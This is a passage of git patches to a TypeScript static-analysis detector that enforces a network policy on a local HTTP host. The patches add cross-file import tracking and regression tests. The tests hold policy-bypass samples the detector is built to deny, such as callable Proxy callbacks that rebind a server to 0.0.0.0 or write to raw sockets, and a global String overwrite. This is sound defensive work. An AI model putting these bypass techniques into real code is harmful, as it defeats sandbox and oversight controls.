+ if (isResolvedTo(key, SERVER_CLOSE) && !hasOnlyLocalCallback(ctx, call)) deny(ctx, 'SERVER_CLOSE_CALLBACK', call);
+ }
+ if (classes.has('RESPONSE') && isResolvedTo(key, RESPONSE_END) && !hasOnlyProvenStringChunk(ctx, call)) {
+ deny(ctx, 'RESPONSE_END_ARGUMENT', call);
+ }
+}
+
/** The binding symbol of the function whose own body contains `node`, if that function is a local binding. */
function enclosingFunctionSymbol(ctx: Context, node: ts.Node): ts.Symbol | undefined {
let current: ts.Node = node;
@@ -1098,11 +1286,7 @@ function checkTargetUse(ctx: Context, expression: ts.Expression, classes: Readon
}
if (isMemberAccess(parent) && parent.expression === node) {
if (![...classes].every((authority) => memberAllowed(ctx, authority, parent))) violate('MEMBER');
- else if (classes.has('SERVER') && isResolvedTo(memberKey(ctx, parent), SERVER_LISTEN)) {
- // `listen` is allow-listed by `memberAllowed`; its binding is the one further positive check.
- const call = directCallOf(parent);
- if (call !== null && !isLoopbackListen(ctx, call)) deny(ctx, 'SERVER_LISTEN_BINDING', call);
- }
+ else checkAllowedCallShape(ctx, parent, classes);
return;
}
if (ts.isExportSpecifier(parent) || ts.isExportAssignment(parent)) {
@@ -1289,13 +1473,17 @@ function checkInstantiationSites(ctx: Context): void {
if (isProvenCreateServerCall(ctx, call)) return true;
if (!isConfinedFactoryCall(ctx, call)) return false;
const factory = valueSymbolOf(ctx.checker, callee);
- return factory !== undefined && factoryInstantiates(factory);
+ if (factory === undefined) return false;
+ // A factory seeded from a sibling host file instantiated a server there.
+ return ctx.externalFactories.has(factory) || factoryInstantiates(factory);
};
const sites = ctx.calls.filter((call) => {
const owner = enclosingFunctionSymbol(ctx, call);
return (owner === undefined || !ctx.confinedFactories.has(owner)) && instantiates(call);
});
- for (const site of sites.slice(1)) deny(ctx, 'CREATE_SERVER_MULTIPLE', site);
+ ctx.instantiationSites = sites.length;
+ // The tree entry counts sites across files: only the first site of the whole host tree is free.
+ for (const site of sites.slice(Math.max(0, 1 - ctx.priorInstantiationSites))) deny(ctx, 'CREATE_SERVER_MULTIPLE', site);
}
function classify(ctx: Context): void {
@@ -1319,6 +1507,12 @@ function classify(ctx: Context): void {
const classes = classesOf(ctx, call);
if (classes.size > 0) checkTargetUse(ctx, call, classes);
}
+ // A factory seeded from a sibling host file is confined here exactly like a local one: direct call, typeof, or re-export only.
+ for (const factory of ctx.externalFactories) {
+ for (const id of ctx.valueReads.get(factory) ?? []) {
+ if (!isConfinedReference(id)) deny(ctx, 'SERVER_FACTORY_ESCAPE', id);
+ }
+ }
checkInstantiationSites(ctx);
}
@@ -1348,6 +1542,12 @@ function createContext(source: string, options: NetworkPolicyOptions): Context {
keyWork: 0,
expressionFactsEvaluations: 0,
fixpointCeiling: options.fixpointCeiling ?? DEFAULT_FIXPOINT_CEILING,
+ hostImports: options.hostImports ?? new Map(),
+ priorInstantiationSites: options.priorInstantiationSites ?? 0,
+ externalFactories: new Set(),
+ externalStrings: new Set(),
+ externalStringFunctions: new Set(),
+ instantiationSites: 0,
};
}
@@ -1370,6 +1570,10 @@ export interface NetworkPolicyInspection {
readonly fixpointBound: number;
/** Total `expressionFacts` evaluations performed by the analysis (deterministic complexity witness). */
readonly expressionFactsEvaluations: number;
+ /** Server-instantiation sites found in this file. */
+ readonly instantiationSites: number;
+ /** What this file proves about its own exports, as a sibling host file would see them. */
+ readonly hostExports: HostModuleExports;
}
function analyze(source: string, options: NetworkPolicyOptions): { ctx: Context; result: NetworkPolicyResult } {
@@ -1377,6 +1581,7 @@ function analyze(source: string, options: NetworkPolicyOptions): { ctx: Context;
collect(ctx, ctx.sourceFile);
buildWriteInventory(ctx);
collectHttpImports(ctx);
+ collectHostImports(ctx);
const fixpoint = runFixpoint(ctx);
if (fixpoint.state === 'EXHAUSTED') {
deny(ctx, 'FIXPOINT_EXHAUSTED', ctx.sourceFile);
@@ -1405,5 +1610,175 @@ export function inspectNetworkPolicy(source: string, options: NetworkPolicyOptio
declaredSymbolCount: ctx.declaredSymbols.size,
fixpointBound: fixpointBound(ctx),
expressionFactsEvaluations: ctx.expressionFactsEvaluations,
+ instantiationSites: ctx.instantiationSites,
+ hostExports: hostExportsOf(ctx),
+ };
+}
+
+// ---------------------------------------------------------------------------
+// Host module graph (tree entry)
+// ---------------------------------------------------------------------------
+
+const hasExportModifier = (node: ts.Node): boolean =>
+ ts.canHaveModifiers(node) && (ts.getModifiers(node) ?? []).some((modifier) => modifier.kind === ts.SyntaxKind.ExportKeyword);
+
+const hasDefaultModifier = (node: ts.Node): boolean =>
+ ts.canHaveModifiers(node) && (ts.getModifiers(node) ?? []).some((modifier) => modifier.kind === ts.SyntaxKind.DefaultKeyword);
+
+/** What a file proves about its own exports: confined factories, proven strings and string functions, including re-exports of proven sibling exports. */
+function hostExportsOf(ctx: Context): HostModuleExports {
+ const factories = new Set();
+ const strings = new Set();
+ const stringFunctions = new Set();
+ const classifyBinding = (symbol: ts.Symbol | undefined, exportName: string): void => {
+ if (symbol === undefined) return;
+ if (ctx.confinedFactories.has(symbol)) factories.add(exportName);
+ if (isStringFunction(ctx, symbol, new Set())) stringFunctions.add(exportName);
+ else if (isStringValue(ctx, symbol)) strings.add(exportName);
+ };
+ const copyFrom = (source: HostModuleExports, imported: string, exportName: string): void => {
+ if (source.factories.has(imported)) factories.add(exportName);
+ if (source.strings.has(imported)) strings.add(exportName);
+ if (source.stringFunctions.has(imported)) stringFunctions.add(exportName);
+ };
+ for (const statement of ctx.sourceFile.statements) {
+ if (isAmbient(statement)) continue;
+ if (ts.isFunctionDeclaration(statement) && statement.name !== undefined && hasExportModifier(statement)) {
+ classifyBinding(valueSymbolOf(ctx.checker, statement.name), hasDefaultModifier(statement) ? 'default' : statement.name.text);
+ }
+ if (ts.isVariableStatement(statement) && hasExportModifier(statement)) {
+ for (const declaration of statement.declarationList.declarations) {
+ if (ts.isIdentifier(declaration.name)) classifyBinding(valueSymbolOf(ctx.checker, declaration.name), declaration.name.text);
+ }
+ }
+ if (ts.isExportAssignment(statement) && !statement.isExportEquals) {
+ const exported = unwrap(statement.expression);
+ if (ts.isIdentifier(exported)) classifyBinding(valueSymbolOf(ctx.checker, exported), 'default');
+ }
+ if (ts.isExportDeclaration(statement) && !statement.isTypeOnly) {
+ const clause = statement.exportClause;
+ const specifier = statement.moduleSpecifier;
+ if (specifier !== undefined) {
+ const source = ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined;
+ if (source === undefined) continue;
+ if (clause === undefined) {
+ for (const name of source.factories) factories.add(name);
+ for (const name of source.strings) strings.add(name);
+ for (const name of source.stringFunctions) stringFunctions.add(name);
+ } else if (ts.isNamedExports(clause)) {
+ for (const element of clause.elements) {
+ if (!element.isTypeOnly) copyFrom(source, (element.propertyName ?? element.name).text, element.name.text);
+ }
+ }
+ } else if (clause !== undefined && ts.isNamedExports(clause)) {
+ for (const element of clause.elements) {
+ if (!element.isTypeOnly) classifyBinding(valueSymbolOf(ctx.checker, element), element.name.text);
+ }
+ }
+ }
+ }
+ return { factories, strings, stringFunctions };
+}
+
+/** One host source file for the tree entry; `file` is its path relative to the host root (either separator). */
+export interface HostSource {
+ readonly file: string;
+ readonly text: string;
+}
+
+const EMPTY_EXPORTS: HostModuleExports = { factories: new Set(), strings: new Set(), stringFunctions: new Set() };
+
+const sameNames = (left: ReadonlySet, right: ReadonlySet): boolean =>
+ left.size === right.size && [...left].every((name) => right.has(name));
+
+const sameExports = (left: HostModuleExports | undefined, right: HostModuleExports): boolean =>
+ left !== undefined &&
+ sameNames(left.factories, right.factories) &&
+ sameNames(left.strings, right.strings) &&
+ sameNames(left.stringFunctions, right.stringFunctions);
+
+const isRelativeSpecifier = (specifier: string): boolean => specifier.startsWith('./') || specifier.startsWith('../');
+
+/** Every relative string-literal module specifier a file uses, in import, export, `require` and dynamic-import positions. */
+function relativeSpecifiersOf(sourceFile: ts.SourceFile): readonly string[] {
+ const specifiers = new Set();
+ const consider = (expression: ts.Expression | undefined): void => {
+ if (expression === undefined) return;
+ const literal = unwrap(expression);
+ if (ts.isStringLiteralLike(literal) && isRelativeSpecifier(literal.text)) specifiers.add(literal.text);
+ };
+ const visit = (node: ts.Node): void => {
+ if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) consider(node.moduleSpecifier);
+ if (ts.isImportEqualsDeclaration(node) && ts.isExternalModuleReference(node.moduleReference)) consider(node.moduleReference.expression);
+ if (ts.isCallExpression(node) && node.expression.kind === ts.SyntaxKind.ImportKeyword) consider(node.arguments[0]);
+ ts.forEachChild(node, visit);
};
+ visit(sourceFile);
+ return [...specifiers];
+}
+
+/** Resolve a relative specifier against its importing file, posix-style, to a file of the tree (`.js` → `.ts` and friends), or undefined. */
+function resolveHostSpecifier(fromFile: string, specifier: string, files: ReadonlySet): string | undefined {
+ const segments = fromFile.split('/').slice(0, -1);
+ for (const part of specifier.split('/')) {
+ if (part === '' || part === '.') continue;
+ if (part === '..') segments.pop();
+ else segments.push(part);
+ }
+ const target = segments.join('/');
+ const candidates = [
+ target,
+ target.replace(/\.js$/, '.ts'),
+ target.replace(/\.mjs$/, '.mts'),
+ target.replace(/\.cjs$/, '.cts'),
+ `${target}.ts`,
+ `${target}/index.ts`,
+ ];
+ return candidates.find((candidate) => files.has(candidate));
+}
+
+/**
+ * Analyze a whole host tree: each file under the frozen single-file policy,
+ * with the proven exports of the sibling files it imports seeded in (server
+ * factories, proven strings, string functions), and the server-instantiation
+ * site bound applied across the tree. Exports are computed to a fixpoint over
+ * the import graph (bounded by the number of files) before the final pass.
+ */
+export function analyzeNetworkPolicyTree(
+ sources: readonly HostSource[],
+ options: NetworkPolicyOptions = {},
+): ReadonlyMap {
+ const files = sources.map((source) => ({ file: source.file.replace(/\\/g, '/'), text: source.text }));
+ const names = new Set(files.map((entry) => entry.file));
+ const specifiers = new Map(
+ files.map((entry) => [
+ entry.file,
+ relativeSpecifiersOf(ts.createSourceFile(entry.file, entry.text, ts.ScriptTarget.ESNext, true, ts.ScriptKind.TS)),
+ ]),
+ );
+ let exports = new Map();
+ const importsFor = (file: string): ReadonlyMap => {
+ const imports = new Map();
+ for (const specifier of specifiers.get(file) ?? []) {
+ const target = resolveHostSpecifier(file, specifier, names);
+ if (target !== undefined) imports.set(specifier, exports.get(target) ?? EMPTY_EXPORTS);
+ }
+ return imports;
+ };
+ for (let round = 0; round <= files.length; round += 1) {
+ const next = new Map(
+ files.map((entry) => [entry.file, hostExportsOf(analyze(entry.text, { ...options, hostImports: importsFor(entry.file) }).ctx)]),
+ );
+ const changed = files.some((entry) => !sameExports(exports.get(entry.file), next.get(entry.file) ?? EMPTY_EXPORTS));
+ exports = next;
+ if (!changed) break;
+ }
+ const results = new Map();
+ let priorInstantiationSites = 0;
+ for (const entry of files) {
+ const { ctx, result } = analyze(entry.text, { ...options, hostImports: importsFor(entry.file), priorInstantiationSites });
+ priorInstantiationSites += ctx.instantiationSites;
+ results.set(entry.file, result);
+ }
+ return results;
}
diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts
index adb97c3..4eda5fc 100644
--- a/tests/cockpit-host/support/d3-regression-matrix.ts
+++ b/tests/cockpit-host/support/d3-regression-matrix.ts
@@ -480,6 +480,33 @@ const SOCKET: readonly RegressionRow[] = [
deny('socket acquisition through proven target policy', 'response.writeHead', inListener(`response.writeHead(200);`), ['RESPONSE_MEMBER']),
deny('socket acquisition through proven target policy', 'response.getHeader (benign but not allow-listed)', inListener(`response.getHeader('x');`), ['RESPONSE_MEMBER']),
deny('socket acquisition through proven target policy', 'response.statusCode read', inListener(`const c = response.statusCode;`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'Codex P1 witness: close with a callable Proxy callback recovering the server as this', withServer(`const proxy = new Proxy(() => {}, { apply(_target: unknown, receiver: http.Server) { receiver.listen(4318, '0.0.0.0'); } });\nserver.close(proxy);`), ['SERVER_CLOSE_CALLBACK']),
+ deny('socket acquisition through proven target policy', 'close with an ambient callback', withServer(`declare const onClosed: () => void;\nserver.close(onClosed);`), ['SERVER_CLOSE_CALLBACK']),
+ deny('socket acquisition through proven target policy', 'close with a non-function argument', withServer(`server.close(1);`), ['SERVER_CLOSE_CALLBACK']),
+ deny('socket acquisition through proven target policy', 'close with two arguments', withServer(`server.close(() => {}, 1);`), ['SERVER_CLOSE_CALLBACK']),
+ deny('socket acquisition through proven target policy', 'close with spread arguments', withServer(`declare const args: [() => void];\nserver.close(...args);`), ['SERVER_CLOSE_CALLBACK']),
+ allow('socket acquisition through proven target policy', 'close without callback', withServer(`server.close();`)),
+ allow('socket acquisition through proven target policy', 'close with an arrow callback', withServer(`server.close(() => { console.log('closed'); });`)),
+ allow('socket acquisition through proven target policy', 'close with a local function-declaration callback', withServer(`function onClosed() { console.log('closed'); }\nserver.close(onClosed);`)),
+ deny('socket acquisition through proven target policy', 'Codex P1 witness: end with a callable Proxy callback recovering the response as this', inListener(`const proxy = new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });\nresponse.end('ok', proxy);`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a callable Proxy as the chunk', inListener(`const proxy = new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });\nresponse.end(proxy);`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with an ambient chunk', inListener(`declare const body: string;\nresponse.end(body);`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a parameter chunk', `${NS}\nfunction send(r: http.ServerResponse, body: string) { r.end(body); }\nhttp.createServer((request, response) => { send(response, 'x'); });`, ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with an encoding argument', inListener(`response.end('x', 'utf8');`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a local arrow callback', inListener(`response.end(() => {});`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a nullish-coalesced chunk', inListener(`response.end(request.url ?? '');`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a mutable string binding', inListener(`let body = 'x';\nresponse.end(body);`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a shadowed String', inListener(`const String = (v: unknown) => v;\nresponse.end(String('x'));`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with a local function returning a parameter', inListener(`function echo(v: string) { return v; }\nresponse.end(echo('x'));`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with an async local function result', inListener(`async function page() { return 'x'; }\nresponse.end(page());`), ['RESPONSE_END_ARGUMENT']),
+ allow('socket acquisition through proven target policy', 'end without chunk', inListener(`response.end();`)),
+ allow('socket acquisition through proven target policy', 'end with a template chunk with spans', inListener('response.end(`${request.url ?? \'\'}
`);')),
+ allow('socket acquisition through proven target policy', 'end with a concatenated chunk', inListener(`response.end('' + request.url + '
');`)),
+ allow('socket acquisition through proven target policy', 'end with a const string chain', inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`)),
+ allow('socket acquisition through proven target policy', 'end with a conditional of proven strings', inListener(`response.end(request.url === '/' ? 'root' : 'other');`)),
+ allow('socket acquisition through proven target policy', 'end with String() of anything', inListener(`response.end(String(request.url));`)),
+ allow('socket acquisition through proven target policy', 'end with a local string function result', inListener(`function page(title: string) { return \`\${title}
\`; }\nresponse.end(page('x'));`)),
+ allow('socket acquisition through proven target policy', 'end with a const holding a local string function result', inListener(`function page() { return ''; }\nconst html = page();\nresponse.end(html);`)),
deny('socket acquisition through proven target policy', 'server.on connection', withServer(`server.on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']),
deny('socket acquisition through proven target policy', 'server.address', withServer(`server.address();`), ['SERVER_MEMBER']),
deny('socket acquisition through proven target policy', 'server.listen read without call', withServer(`const l = server.listen;`), ['SERVER_MEMBER']),
@@ -789,7 +816,7 @@ const LISTENER_BOUNDARY: readonly RegressionRow[] = [
deny('createServer listener boundary', 'call-result listener', `${NS}\ndeclare function make(): any;\nhttp.createServer(make());`, ['LISTENER_NOT_FUNCTION']),
deny('createServer listener boundary', 'written const listener spine', `${NS}\nconst handler = ${L};\n(handler as any) = null;\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']),
deny('createServer listener boundary', 'cyclic listener spine', `${NS}\nconst a: any = b;\nconst b: any = a;\nhttp.createServer(a);`, ['LISTENER_NOT_FUNCTION']),
- deny('createServer listener boundary', 'pattern at parameter 0', `${NS}\nhttp.createServer(({ url }, response) => { response.end(url); });`, ['LISTENER_PARAMETER_PATTERN']),
+ deny('createServer listener boundary', 'pattern at parameter 0', `${NS}\nhttp.createServer(({ url }, response) => { response.end(String(url)); });`, ['LISTENER_PARAMETER_PATTERN']),
deny('createServer listener boundary', 'pattern at parameter 1', `${NS}\nhttp.createServer((request, { socket }) => { socket; });`, ['LISTENER_PARAMETER_PATTERN']),
deny('createServer listener boundary', 'rest at parameter 0', `${NS}\nhttp.createServer((...args: any[]) => { args[1].socket; });`, ['LISTENER_PARAMETER_PATTERN']),
deny('createServer listener boundary', 'rest at parameter 1', `${NS}\nhttp.createServer((request, ...rest: any[]) => { rest[0].socket; });`, ['LISTENER_PARAMETER_PATTERN']),
@@ -802,14 +829,14 @@ const LISTENER_BOUNDARY: readonly RegressionRow[] = [
allow('createServer listener boundary', 'async arrow listener', `${NS}\nhttp.createServer(async (request, response) => { response.end(); });`),
allow('createServer listener boundary', 'anonymous function expression listener', `${NS}\nhttp.createServer(function (request, response) { response.end(); });`),
allow('createServer listener boundary', 'named function expression listener', `${NS}\nhttp.createServer(function handler(request, response) { response.end(); });`),
- allow('createServer listener boundary', 'unique FunctionDeclaration listener', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(request.url); }\nhttp.createServer(handle);`),
+ allow('createServer listener boundary', 'unique FunctionDeclaration listener', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(String(request.url)); }\nhttp.createServer(handle);`),
allow('createServer listener boundary', 'hoisted FunctionDeclaration listener', `${NS}\nhttp.createServer(handle);\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(); }`),
allow('createServer listener boundary', 'const listener spine', `${NS}\nconst h1 = ${L};\nconst h2 = h1;\nhttp.createServer(h2);`),
allow('createServer listener boundary', 'wrapped listener', `${NS}\nhttp.createServer((${L}) as any);`),
allow('createServer listener boundary', 'wrapped callee', `${NS}\n(http.createServer)(${L});`),
allow('createServer listener boundary', 'zero-parameter listener', `${NS}\nhttp.createServer(() => {});`),
allow('createServer listener boundary', 'one-parameter listener', `${NS}\nhttp.createServer((request) => { request.url; });`),
- allow('createServer listener boundary', 'pattern at parameter 2 is unconstrained', `${NS}\nhttp.createServer((request, response, { extra }: any) => { response.end(extra); });`),
+ allow('createServer listener boundary', 'pattern at parameter 2 is unconstrained', `${NS}\nhttp.createServer((request, response, { extra }: any) => { response.end(String(extra)); });`),
allow('createServer listener boundary', 'exported const listener', `${NS}\nexport const handler = ${L};\nhttp.createServer(handler);`),
];
@@ -1004,7 +1031,7 @@ const REAL_HOST: readonly RegressionRow[] = [
allow('real host acceptance', 'inline replica of the Stage-A host', REAL_HOST_SHAPE),
allow('real host acceptance', 'type positions on the namespace', `${NS}\nfunction f(request: http.IncomingMessage, response: http.ServerResponse): http.Server | null { request; response; return null; }`),
allow('real host acceptance', 'request.method nullish fallback', inListener(`const method = request.method ?? '';\nif (method !== 'GET') { response.statusCode = 405; response.setHeader('Allow', 'GET'); response.end('405'); return; }`)),
- allow('real host acceptance', 'request.url passed to a pure helper', inListener(`function pathOf(url: string) { return url; }\nconst path = pathOf(request.url ?? '');\nresponse.end(path);`)),
+ allow('real host acceptance', 'request.url passed to a pure helper', inListener(`function pathOf(url: string) { return url; }\nconst path = pathOf(request.url ?? '');\nresponse.end(String(path));`)),
allow('real host acceptance', 'listen with host and port constants', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => { console.log(HOST); }); }\nmain();`)),
];
From 5caa57bd7b70a24b524a37fa39007b50234a1c29 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 09:30:18 +0200
Subject: [PATCH 08/20] fix(cockpit): deny global-member writes and track
instantiating factory exports
Close the two open Codex findings on PR #67:
- Writes to permitted global members (`(globalThis.String as any) = ...`,
`delete`, compound assignment, update, destructuring and for-of targets)
are now denied with GLOBAL_RECEIVER_WRITE. Previously a permitted static
key returned before `isWriteTarget` ran, so `String` could be replaced
with a callable-Proxy factory that `isProvenString` still trusted.
- `HostModuleExports` now carries `instantiatingFactories`, the subset of
exported confined factories whose body instantiates a server. Imported
alias-returning getters no longer count as an instantiation site, so a
singleton exported through `get()` is not rejected as
CREATE_SERVER_MULTIPLE while instantiating factories still are.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/d3-network-policy.test.ts | 86 +++++++++++++++++++
.../cockpit-host/support/d3-network-policy.ts | 39 +++++++--
2 files changed, 120 insertions(+), 5 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index a7a01e0..91d8a6e 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1070,6 +1070,49 @@ describe('D3 network policy closes the open Codex findings on PR #67', () => {
expect(twice.reasons, describeFindings(twice)).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']);
});
+ it('P1: writes to permitted global members are denied, reads of them stay allowed', () => {
+ for (const source of [
+ `(globalThis.String as any) = (value: unknown) => value;`,
+ `globalThis.String = String;`,
+ `(globalThis as any).String = 1;`,
+ `window.String = String;`,
+ `globalThis.globalThis.String = String;`,
+ `delete (globalThis as any).String;`,
+ `(globalThis as any).String += 1;`,
+ `(globalThis as any).String++;`,
+ `[(globalThis as any).String] = [1];`,
+ `({ x: (globalThis as any).String } = { x: 1 });`,
+ `for ((globalThis as any).String of [1]) {}`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}
+${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_WRITE']);
+ expect(result.findings, source).toHaveLength(1);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ // Codex witness: a replaced `String` would let `isProvenString` trust a callable Proxy handed to response.end.
+ const witness = analyzeNetworkPolicy(
+ `${NS}
+(globalThis.String as any) = () => new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });
+http.createServer((request, response) => { response.end(String(1)); });`,
+ );
+ expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_WRITE']);
+ for (const source of [
+ `globalThis.String(1);`,
+ `String(1);`,
+ `globalThis.String.length;`,
+ `typeof globalThis.String;`,
+ `const n = globalThis.String.length;
+n;`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}
+${describeFindings(result)}`).toEqual([]);
+ }
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, "deny(ctx, 'GLOBAL_RECEIVER_WRITE'")).toBe(1);
+ });
+
it('is structural: one runtime-shadow predicate, threaded through the single symbol-resolution path', () => {
const detector = readFileSync(detectorPath, 'utf8');
expect(occurrences(detector, 'function isRuntimeShadowed(')).toBe(1);
@@ -1243,6 +1286,49 @@ describe('D3 network policy host module graph (PR #67 Codex P1: exported factori
expect(reasonsOf(directPlusImported, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']);
});
+ it('preserves whether an imported factory instantiates a server: alias-returning getters add no site (Codex P2)', () => {
+ const GETTER = `${NS}
+const server = http.createServer(${L});
+export function get(): http.Server {
+ return server;
+}`;
+ const getter = tree({
+ 'x.ts': GETTER,
+ 'main.ts': `import { get } from './x.js';
+get().listen(4317, '127.0.0.1');
+get().close();`,
+ });
+ expect(reasonsOf(getter, 'x.ts')).toEqual([]);
+ expect(reasonsOf(getter, 'main.ts')).toEqual([]);
+ const viaChain = tree({
+ 'x.ts': GETTER,
+ 'mid.ts': `export { get } from './x.js';`,
+ 'star.ts': `export * from './mid.js';`,
+ 'wrap.ts': `import { get } from './star.js';
+export function boot() { return get(); }`,
+ 'main.ts': `import { boot } from './wrap.js';
+boot().listen(4317, '127.0.0.1');`,
+ });
+ for (const file of ['x.ts', 'mid.ts', 'star.ts', 'wrap.ts', 'main.ts']) expect(reasonsOf(viaChain, file), file).toEqual([]);
+ // The getter is still a confined factory: its result carries SERVER authority, and the exporter's own site still counts.
+ const wildcard = tree({ 'x.ts': GETTER, 'main.ts': `import { get } from './x.js';
+get().listen(4317, '0.0.0.0');` });
+ expect(reasonsOf(wildcard, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ const extraSite = tree({
+ 'x.ts': GETTER,
+ 'main.ts': `${NS}
+import { get } from './x.js';
+http.createServer(${L}).close();
+get().close();`,
+ });
+ expect(reasonsOf(extraSite, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']);
+ const exported = inspectNetworkPolicy(GETTER);
+ expect([...exported.hostExports.factories]).toEqual(['get']);
+ expect([...exported.hostExports.instantiatingFactories]).toEqual([]);
+ const instantiating = inspectNetworkPolicy(REVIEW);
+ expect([...instantiating.hostExports.instantiatingFactories]).toEqual(['makeReviewServer']);
+ });
+
it('denies every import form through which a factory could leave the graph unseen', () => {
for (const [consumer, reason] of [
[`import * as review from './review.js';\nreview.makeReviewServer().listen(1, '0.0.0.0');`, 'SERVER_FACTORY_ESCAPE'],
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index bc89318..a6d7c2e 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -62,6 +62,7 @@ export type ReasonCode =
| 'GLOBAL_RECEIVER_RUNTIME_KEY'
| 'GLOBAL_RECEIVER_ESCAPE'
| 'GLOBAL_RECEIVER_DESTRUCTURING'
+ | 'GLOBAL_RECEIVER_WRITE'
| 'HTTP_CLIENT_CAPABILITY'
| 'HTTP_IMPORT_EQUALS'
| 'HTTP_DYNAMIC_IMPORT'
@@ -105,6 +106,8 @@ export interface NetworkPolicyResult {
export interface HostModuleExports {
/** Export names that are confined server factories in the exporting file. */
readonly factories: ReadonlySet;
+ /** The subset of `factories` whose own body instantiates a server (directly or through another instantiating confined factory), as opposed to returning an alias. */
+ readonly instantiatingFactories: ReadonlySet;
/** Export names whose value is a proven string. */
readonly strings: ReadonlySet;
/** Export names that are local functions returning only proven strings. */
@@ -213,6 +216,10 @@ interface Context {
readonly priorInstantiationSites: number;
/** Import bindings seeded as confined server factories from sibling host files. */
readonly externalFactories: Set;
+ /** The subset of `externalFactories` the exporting file proved to instantiate a server. */
+ readonly externalInstantiatingFactories: Set;
+ /** Confined factories (local or seeded) that instantiate a server (recorded by `checkInstantiationSites`). */
+ readonly instantiatingFactories: Set;
/** Import bindings seeded as proven strings / string-returning functions from sibling host files. */
readonly externalStrings: Set;
readonly externalStringFunctions: Set;
@@ -756,6 +763,7 @@ function collectHostImports(ctx: Context): void {
ctx.confinedFactories.add(symbol);
ctx.externalFactories.add(symbol);
}
+ if (source.instantiatingFactories.has(imported)) ctx.externalInstantiatingFactories.add(symbol);
if (source.strings.has(imported)) ctx.externalStrings.add(symbol);
if (source.stringFunctions.has(imported)) ctx.externalStringFunctions.add(symbol);
};
@@ -1413,7 +1421,7 @@ function checkGlobalAssignmentPattern(ctx: Context, target: ts.Expression): void
}
}
-/** A free global receiver root (or a static self-hop from one) may only be read through static, non-network keys. */
+/** A free global receiver root (or a static self-hop from one) may only be read through static, non-network keys; no member is ever written. */
function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
const { node, parent } = climb(expression);
if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
@@ -1421,6 +1429,12 @@ function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
const permitted = checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => {
checkGlobalReceiverUse(ctx, parent);
});
+ // A permitted static member is read-only: writing it mutates the global
+ // (e.g. replacing `String`, which `isProvenString` trusts as intrinsic).
+ if (permitted && isWriteTarget(parent)) {
+ deny(ctx, 'GLOBAL_RECEIVER_WRITE', parent);
+ return;
+ }
// Receiver-call result authority inheritance: the result of a call of a
// permitted static member, optional or not, conservatively retains
// global-root authority and is checked as such.
@@ -1474,14 +1488,17 @@ function checkInstantiationSites(ctx: Context): void {
if (!isConfinedFactoryCall(ctx, call)) return false;
const factory = valueSymbolOf(ctx.checker, callee);
if (factory === undefined) return false;
- // A factory seeded from a sibling host file instantiated a server there.
- return ctx.externalFactories.has(factory) || factoryInstantiates(factory);
+ // A factory seeded from a sibling host file instantiates a server only if the exporting file proved so.
+ return ctx.externalInstantiatingFactories.has(factory) || factoryInstantiates(factory);
};
const sites = ctx.calls.filter((call) => {
const owner = enclosingFunctionSymbol(ctx, call);
return (owner === undefined || !ctx.confinedFactories.has(owner)) && instantiates(call);
});
ctx.instantiationSites = sites.length;
+ for (const factory of ctx.confinedFactories) {
